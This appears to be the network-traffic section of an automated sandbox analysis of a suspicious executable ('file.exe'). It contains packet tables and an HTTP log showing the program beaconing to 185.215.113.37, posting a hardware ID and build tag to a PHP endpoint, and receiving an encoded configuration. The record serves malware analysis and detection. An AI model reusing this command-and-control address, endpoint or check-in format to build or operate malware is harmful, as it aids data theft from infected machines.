Oct 8, 2024 03:22:20.433794975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.433804989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.433815002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.433824062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.433835030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.433872938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.433872938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.433872938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.434034109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.434192896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.434206009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.434216022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.434226990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.434237003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.434247017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.434257030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.434267044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.434282064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.434282064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.434282064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.434320927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.434330940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.434341908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.434350967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.434360981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.434370995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.434381008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.434384108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.434384108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.434384108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.434391022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.434401035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.434411049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.434448004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.434448004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.434448004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.434932947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.434947014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.434967995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.434978962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.434988976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.434999943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.435009003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.435019016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.435029030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.435029030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.435029030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.435029030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.435039043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.435050964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.435060978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.435070038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.435087919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.435097933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.435107946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.435112000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.435112000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.435112000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.435117960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.435128927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.435138941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.435148954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.435158968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.435187101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.435187101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.435187101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.435662985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.435674906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.435684919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.435694933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.435704947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.435714960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.435725927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.435735941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.435749054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.435755014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.435755014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.435755014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.435775042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.435786009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.435796022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.435816050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.435816050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.435816050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.435842991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.435853004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.435863018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.435873032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.435884953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.435894966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.435904980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.435914993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.435920954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.435920954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.435920954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.435925007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.435935020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.435944080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.435954094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.435964108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.435973883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.436005116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.436005116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.436005116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.436027050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.436606884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.436616898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.436628103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.436636925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.436647892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.436656952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.436666965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.436676979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.436686993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.436690092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.436690092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.436697006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.436722994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.436738014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.436748028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.436774969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.436774969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.436775923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.497704983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.502545118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.714735985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.714787960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.714796066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.714802027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.714814901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.714828014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.714848042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.714860916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.714884043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.714895964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.714914083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.714917898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.714945078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.714956045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.714967966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.714976072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.714981079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.714993954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.715003967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.715009928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.715034962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.715070963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.715104103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.715116978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.715131998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.715142965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.715150118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.715163946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.715186119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.715295076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.715307951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.715318918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.715337038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.715343952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.715346098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.715346098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.715352058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.715368032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.715399981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.715413094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.715568066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.715579033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.715590000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.715603113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.715615988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.715615988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.715626955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.715641975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.715656996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.715658903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.715672016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.715672016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.715699911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.715733051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.715765953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.715779066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.715809107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.715821981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.715858936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.715871096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.715909958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.715941906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.715955019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.715966940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.715979099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.715982914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.715991974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.716008902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.716039896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.716080904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.716093063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.716104031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.716115952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.716135025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.716147900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.716180086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.716192007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.716202974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.716216087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.716227055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.716228962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.716239929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.716243029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.716253996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.716270924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.716315031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.716473103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.716486931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.716499090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.716511965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.716530085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.716555119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.716634989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.716649055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.716661930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.716679096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.716685057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.716687918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.716691017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.716703892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.716710091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.716716051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.716721058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.716733932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.716739893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.716739893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:20.716747999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:20.716801882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:21.199078083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:21.199131012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:21.203924894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:21.204106092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:22.076143980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:22.076992035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:22.123080969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:22.128205061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:22.360687017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:22.360753059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:22.360763073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:22.360774040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:22.360805988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:22.364006996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:22.368791103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:22.611226082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:22.611304045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:22.640122890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:22.645075083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:23.415143967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:23.415213108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:23.442950964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:23.449054003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:23.676157951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:23.676172972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:23.676184893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:23.676198006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:23.676232100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:23.676289082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:23.676444054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:23.676501036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:23.676510096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:23.676520109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:23.676531076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:23.676580906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:23.676580906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:23.676834106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:23.676877022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:23.677259922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:23.677367926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:23.677387953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:23.677400112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:23.677412033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:23.677439928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:23.677439928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:23.678901911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:23.684237957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:24.399305105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:24.399390936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:29.321042061 CEST	49704	80	192.168.2.5	185.215.113.37

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 03:22:46.139589071 CEST	53	52581	162.159.36.2	192.168.2.5
Oct 8, 2024 03:22:46.628130913 CEST	53	54624	1.1.1.1	192.168.2.5

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.37	80	6160	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:22:04.852092981 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 8, 2024 03:22:05.774831057 CEST	203	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:22:05 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 03:22:05.776093006 CEST	203	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:22:05 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 03:22:05.777702093 CEST	411	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIECFHDBAAECAAKFHDH Host: 185.215.113.37 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 38 39 43 31 30 35 32 37 34 33 35 35 37 34 32 31 37 39 36 35 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 2d 2d 0d 0a Data Ascii: ------FIIECFHDBAAECAAKFHDHContent-Disposition: form-data; name="hwid"489C10527435574217965------FIIECFHDBAAECAAKFHDHContent-Disposition: form-data; name="build"doma------FIIECFHDBAAECAAKFHDH--
Oct 8, 2024 03:22:06.016897917 CEST	407	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:22:05 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 7a 63 30 4d 32 56 6c 4e 6a 6c 6d 5a 47 46 69 59 32 59 77 5a 6a 4d 30 5a 6a 46 6b 4e 44 51 77 4d 47 59 35 4e 44 68 6c 59 6a 41 79 59 32 45 32 5a 6a 49 30 4f 57 4d 32 59 6d 4d 77 4e 32 55 7a 4d 54 6b 78 4f 54 68 6b 59 57 49 34 4f 44 5a 6c 4e 54 4d 30 4e 6d 4a 6d 4d 47 45 79 5a 54 63 34 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: Yzc0M2VlNjlmZGFiY2YwZjM0ZjFkNDQwMGY5NDhlYjAyY2E2ZjI0OWM2YmMwN2UzMTkxOThkYWI4ODZlNTM0NmJmMGEyZTc4fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
